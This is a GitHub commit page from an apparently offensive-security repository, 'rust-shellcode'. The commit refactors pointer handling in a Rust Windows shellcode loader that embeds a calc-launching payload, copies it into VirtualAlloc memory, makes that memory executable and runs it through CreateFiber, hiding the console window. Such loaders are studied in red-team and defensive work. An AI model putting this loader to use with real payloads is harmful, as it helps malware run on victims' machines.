8000 optimize some pointer operations · b1nhack/rust-shellcode@9ec7394 · GitHub
[go: up one dir, main page]

Skip to content

Commit 9ec7394

Browse files
committed
optimize some pointer operations
1 parent f45a7c7 commit 9ec7394

File tree

23 files changed

+1227
-65
lines changed

23 files changed

+1227
-65
lines changed

.gitignore

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,6 @@
22
# will have compiled files and executables
33
target/
44

5-
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
6-
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
7-
Cargo.lock
8-
95
# These are backup files generated by rustfmt
106
**/*.rs.bk
117

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# :japanese_ogre:rust-shellcode
1+
# :japanese_ogre:rust-shellcode:japanese_ogre:
22

33
* [asm](#asm)
44
* [create_fiber](#create_fiber)

asm/Cargo.lock

Lines changed: 7 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

create_fiber/Cargo.lock

Lines changed: 76 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

create_fiber/src/main.rs

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,33 +1,33 @@
11
#![windows_subsystem = "windows"]
22

33
use std::mem::transmute;
4-
use std::ptr::{copy, null, null_mut};
4+
use std::ptr::{copy, null};
55
use windows_sys::Win32::Foundation::FALSE;
66
use windows_sys::Win32::System::Memory::{
77
VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE,
88
};
99
use windows_sys::Win32::System::Threading::{ConvertThreadToFiber, CreateFiber, SwitchToFiber};
1010

11-
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
12-
static SIZE: usize = SHELLCODE.len();
11+
const SHELLCODE: &[u8] = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
12+
const SIZE: usize = SHELLCODE.len();
1313

1414
#[cfg(target_os = "windows")]
1515
fn main() {
1616
let mut old = PAGE_READWRITE;
1717
unsafe {
1818
let main_fiber = ConvertThreadToFiber(null());
19-
if main_fiber == null_mut() {
19+
if main_fiber.is_null() {
2020
eprintln!("ConvertThreadToFiber failed!");
2121
return;
2222
}
2323

2424
let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
25-
if dest == null_mut() {
25+
if dest.is_null() {
2626
eprintln!("VirtualAlloc failed!");
2727
return;
2828
}
2929

30-
copy(SHELLCODE.as_ptr(), dest as *mut u8, SIZE);
30+
copy(SHELLCODE.as_ptr(), dest.cast(), SIZE);
3131
let res = VirtualProtect(dest, SIZE, PAGE_EXECUTE, &mut old);
3232
if res == FALSE {
3333
eprintln!("VirtualProtect failed!");
@@ -36,7 +36,7 @@ fn main() {
3636

3737
let dest = transmute(dest);
3838
let fiber = CreateFiber(0, dest, null());
39-
if fiber == null_mut() {
39+
if fiber.is_null() {
4040
eprintln!("CreateFiber failed!");
4141
return;
4242
}

0 commit comments

Comments
 (0)
0